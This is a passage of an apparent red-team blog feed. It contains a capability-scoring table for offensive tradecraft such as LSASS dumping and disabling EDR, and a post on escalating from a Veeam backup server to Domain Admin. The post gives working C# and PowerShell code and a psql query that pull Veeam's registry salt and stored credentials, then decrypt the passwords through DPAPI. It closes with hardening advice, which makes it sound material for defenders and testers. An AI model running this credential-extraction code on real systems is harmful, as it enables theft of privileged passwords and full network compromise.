      &lt;td style=&quot;text-align: center&quot;&gt;0&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Lateral Movement&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;Custom lateral movement technique&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;40&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;40 (novel)&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;30 (undetected)&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;0 (built-in tools)&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;0&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;LSASS / SAM Dump&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;Novel TTP or BYOVD (blind EDR)&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;60&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;60 (novel TTP)&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;40 (BYOVD kill EDR)&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;0&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;0&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Persistence&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;Custom persistence mechanism&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;30&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;30 (novel)&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;20 (undetectable)&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;0 (detected by EDRs)&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;0&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;TOTAL&lt;/strong&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;&lt;strong&gt;315&lt;/strong&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;&lt;strong&gt;~315&lt;/strong&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;&lt;strong&gt;~235&lt;/strong&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;&lt;strong&gt;~90&lt;/strong&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;&lt;strong&gt;~0&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;tier-summary&quot;&gt;Tier Summary&lt;/h2&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Tier&lt;/th&gt;
      &lt;th style=&quot;text-align: center&quot;&gt;Points Range&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Elite&lt;/strong&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;275 – 315&lt;/td&gt;
      &lt;td&gt;Full zero-day capability, custom C2, novel TTPs across all phases. Nation-state or top-tier private red team level.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Advanced&lt;/strong&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;180 – 274&lt;/td&gt;
      &lt;td&gt;Strong custom tooling, some novel techniques, BYOVD capability. Well-funded professional red team.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Intermediate&lt;/strong&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;80 – 179&lt;/td&gt;
      &lt;td&gt;Uses known TTPs with modifications, limited zero-day or novel capability. Growing team with some custom tools.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Beginner&lt;/strong&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;0 – 79&lt;/td&gt;
      &lt;td&gt;Relies on public tools and built-in OS features. Detected by most EDRs. No exploit development or custom C2.&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
</description>
        <pubDate>Mon, 09 Mar 2026 00:00:00 +0000</pubDate>
        <link>https://www.pwntricks.com//Chain-Of-Success-for-red-teamer-in-2026</link>
        <link href="https://www.pwntricks.com/Chain-Of-Success-for-red-teamer-in-2026"/>
        <guid isPermaLink="true">https://www.pwntricks.com/Chain-Of-Success-for-red-teamer-in-2026</guid>
      </item>
    
      <item>
        <title>From Veeam To Domain Admin Real World Red Team Compromise Path</title>
        <description>&lt;h1 id=&quot;from-veeam-to-domain-admin-real-world-red-team-compromise-path&quot;&gt;From Veeam to Domain Admin: Real-World Red Team Compromise Path&lt;/h1&gt;

&lt;p&gt;this post was writen by me for WKL, you can find the original post that was writen for WKL in the following link, I have add the post to pwn tricks blog post as archive only:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://whiteknightlabs.com/2025/12/09/from-veeam-to-domain-admin-real-world-red-team-compromise-path/&quot;&gt;https://whiteknightlabs.com/2025/12/09/from-veeam-to-domain-admin-real-world-red-team-compromise-path/&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Hassan Khafaji&lt;/li&gt;
  &lt;li&gt;December 9, 2025&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In many enterprise environments, backup infrastructure is treated as a “supporting system” rather than a high-value security asset. But during real red team engagements, backup servers often expose some of the most powerful credentials in the entire domain. This post walks through a real-world compromise path that started with Veeam and ended with full Domain Admin, highlighting why backup security matters and how defenders can harden their environments.&lt;/p&gt;

&lt;h1 id=&quot;initial-access-landing-on-the-veeam-server&quot;&gt;Initial Access: Landing on the Veeam Server&lt;/h1&gt;

&lt;p&gt;During a red team engagement, one of the first systems we compromised internally was the Veeam Backup &amp;amp; Replication server by exploiting AD misconfiguration. This host usually holds:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Service account credentials&lt;/li&gt;
  &lt;li&gt;Repository access&lt;/li&gt;
  &lt;li&gt;Backup job configurations&lt;/li&gt;
  &lt;li&gt;Encrypted domain-level credentials&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Once on the server, our next focus was understanding how Veeam stores and protects sensitive information.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Writing a Custom Plugin to Decrypt Stored Credentials&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;We wrote a custom dot net plugin that works with our custom C2 that’s capable of decrypting the stored passwords in PostgreSQL DB. The decryption has three main steps:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Retrieve the EncryptionSalt from the registry.&lt;/li&gt;
  &lt;li&gt;Extract the encrypted credentials from the database.&lt;/li&gt;
  &lt;li&gt;Decrypt the passwords using the retrieved salt and the Windows DPAPI mechanism.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;retrieving-the-encryptionsalt-from-the-registry&quot;&gt;Retrieving the EncryptionSalt from the Registry&lt;/h2&gt;

&lt;div class=&quot;language-csharp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;
&lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;GetVeeamData&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;keyPath&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;@&quot;SOFTWARE\Veeam\Veeam Backup and Replication\Data&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    
    &lt;span class=&quot;k&quot;&gt;using&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;RegistryKey&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;baseKey&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;RegistryKey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;OpenBaseKey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;RegistryHive&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;LocalMachine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;RegistryView&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Registry64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;using&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;RegistryKey&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;baseKey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;OpenSubKey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;keyPath&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Key not found.&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        
        &lt;span class=&quot;n&quot;&gt;StringBuilder&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sb&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;StringBuilder&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;foreach&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;valueName&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetValueNames&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;kt&quot;&gt;object&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;valueName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;sb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AppendLine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;$&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;valueName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; : &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ToString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;printhello&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;output&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;GetVeeamData&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;output&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This code snippet is used to extract Veeam Backup &amp;amp; Replication configuration data directly from the Windows Registry. Veeam stores several internal values under the registry path:&lt;/p&gt;

&lt;p&gt;SOFTWARE\Veeam\Veeam Backup and Replication\Data&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How the function works:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Opens the Veeam Registry Path: GetVeeamData() connects to the LocalMachine hive (64-bit view) and attempts to open the Veeam Data key. If the key doesn’t exist, it returns “Key not found.”&lt;/li&gt;
  &lt;li&gt;Enumerates All Values Under that Registry Key: It loops through every value stored in the key, retrieves both the name and the stored data, and appends them to a string. This produces a readable dump of all Veeam data-related entries.&lt;/li&gt;
  &lt;li&gt;Returns the Formatted Output: The function returns all collected registry information as text, making it easy to log or display.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://whiteknightlabs.com/wp-content/uploads/2025/12/1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Get Encryption Salt from registry key&lt;/p&gt;

&lt;h2 id=&quot;extracting-the-encrypted-credentials-from-the-database&quot;&gt;Extracting the Encrypted Credentials from the Database&lt;/h2&gt;

&lt;p&gt;Now it’s time to extract the encrypted password from the PostgreSQL database. The execute command refers to our custom C2 plugin, which allows us to run external programs with specific arguments and return their output for further processing.&lt;/p&gt;

&lt;p&gt;execute C:/Program Files/PostgreSQL/15/bin/psql.exe -d VeeamBackup -U postgres -c “SELECT user_name,password FROM credentials”&lt;/p&gt;

&lt;p&gt;The result of the above command:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://whiteknightlabs.com/wp-content/uploads/2025/12/2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;get encrypted password from postgres db&lt;/p&gt;

&lt;h2 id=&quot;decrypting-the-passwords-using-the-retrieved-salt-and-the-windows-dpapi-mechanism&quot;&gt;Decrypting the Passwords Using the Retrieved Salt and the Windows DPAPI Mechanism&lt;/h2&gt;

&lt;div class=&quot;language-csharp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;
&lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;DecryptVeeamPasswordPowershell&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;saltBase&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;using&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ps&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PowerShell&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Create&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;script&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;@&quot;
            param($context, $saltbase)
            Add-Type -AssemblyName System.Security
            $salt = [System.Convert]::FromBase64String($saltbase)
            $data = [System.Convert]::FromBase64String($context)
            $hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($data.Length * 2)
            foreach ($byte in $data) {
                $hex.AppendFormat(&apos;{0:x2}&apos;, $byte) &amp;gt; $null
            }
            $hex = $hex.ToString().Substring(74,$hex.Length-74)
            $data = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
            for ($i = 0; $i -lt $hex.Length; $i += 2) {
                $data[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
            }
            $securedPassword = [System.Convert]::ToBase64String($data)
            $data = [System.Convert]::FromBase64String($securedPassword)
            $local = [System.Security.Cryptography.DataProtectionScope]::LocalMachine
            $raw = [System.Security.Cryptography.ProtectedData]::Unprotect($data, $salt, $local)
            [System.Text.Encoding]::UTF8.GetString($raw)
        &quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        
        &lt;span class=&quot;n&quot;&gt;ps&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AddScript&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;script&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AddParameter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;context&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AddParameter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;saltbase&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;saltBase&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AddCommand&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Out-String&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        
        &lt;span class=&quot;kt&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;results&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ps&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Invoke&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ps&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;HadErrors&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;Exception&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;\n&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ps&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Streams&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Select&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;e&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ToString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())));&lt;/span&gt;
        
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;results&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Select&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ToString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()));&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This function demonstrates how Veeam-encrypted credentials can be programmatically decrypted by combining a C# wrapper with an embedded PowerShell script. Veeam relies on Windows DPAPI (LocalMachine scope) along with a registry-stored salt to protect stored passwords. Once you obtain the encrypted blob and the encryption salt, this function reconstructs the plaintext password.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How the function works:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Embedding a PowerShell Script Inside C#:&lt;/strong&gt; The method DecryptVeeamPasswordPowerhshell creates a PowerShell instance inside C#. This allows us to execute a PowerShell script directly and receive its output as a string.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Preparing the Input:&lt;/strong&gt; Two values are passed to the script:&lt;/p&gt;

&lt;p&gt;context → the encrypted DPAPI blob from the Veeam DB&lt;/p&gt;

&lt;p&gt;saltBase → the Base64-encoded encryption salt retrieved from the registry&lt;/p&gt;

&lt;p&gt;Both are Base64-decoded to obtain the raw byte arrays.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Extracting the DPAPI Payload:&lt;/strong&gt; Veeam wraps the actual DPAPI-protected password in a larger structure.&lt;/p&gt;

&lt;p&gt;The script:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Converts the encoded bytes into hex&lt;/li&gt;
  &lt;li&gt;Strips the first 74 hex characters (Veeam metadata)&lt;/li&gt;
  &lt;li&gt;Converts the remaining hex back into a byte array&lt;/li&gt;
  &lt;li&gt;This produces the actual DPAPI-protected blob&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;4. Base64 Re-encoding and Decoding:&lt;/strong&gt; Veeam stores the DPAPI data in another Base64 layer. The script re-encodes the cleaned payload, then decodes it again to normalize it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5. DPAPI Decryption:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The script calls:&lt;/p&gt;

&lt;p&gt;[System.Security.Cryptography.ProtectedData]::Unprotect(     $data, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )&lt;/p&gt;

&lt;p&gt;This uses the machine’s DPAPI keys and the Veeam salt to decrypt the password.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;6. Returning the Plaintext:&lt;/strong&gt; The decrypted byte array is converted to UTF-8 text and returned to the C# function, which passes it back as a normal string.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://whiteknightlabs.com/wp-content/uploads/2025/12/3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Password successfully decrypted&lt;/p&gt;

&lt;p&gt;One of the Domain Admin credentials was stored directly in the Veeam database, alongside privileged vSphere access. With just these two credentials, the entire environment became fully exposed, providing unrestricted visibility and control across all systems.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Recommendations&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Treat Veeam and all backup platforms as tier-zero assets.&lt;/li&gt;
  &lt;li&gt;Remove domain admin accounts from backup jobs and replace them with least-privileged service accounts.&lt;/li&gt;
  &lt;li&gt;Regularly audit and rotate all stored credentials within Veeam.&lt;/li&gt;
  &lt;li&gt;Segment the backup environment from production networks wherever possible.&lt;/li&gt;
  &lt;li&gt;Protect vSphere access with MFA.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This compromise path made one thing clear: backup systems are not just supporting infrastructure, they are high-value targets that can decide the fate of the entire domain. A single exposed credential inside Veeam, combined with broad vSphere access, created a direct route to full enterprise takeover. By enforcing strict credential hygiene, reducing privilege levels, and hardening the backup environment is a must for organizations. Securing backups is securing the business.&lt;/p&gt;
</description>
        <pubDate>Sat, 27 Dec 2025 00:00:00 +0000</pubDate>
        <link>https://www.pwntricks.com//From-Veeam-to-Domain-Admin-Real-World-Red-Team-Compromise-Path</link>
        <link href="https://www.pwntricks.com/From-Veeam-to-Domain-Admin-Real-World-Red-Team-Compromise-Path"/>
        <guid isPermaLink="true">https://www.pwntricks.com/From-Veeam-to-Domain-Admin-Real-World-Red-Team-Compromise-Path</guid>
      </item>
    
      <item>
        <title>Keepass Stealer Using Hooking</title>
        <description>&lt;h2 id=&quot;about&quot;&gt;About&lt;/h2&gt;

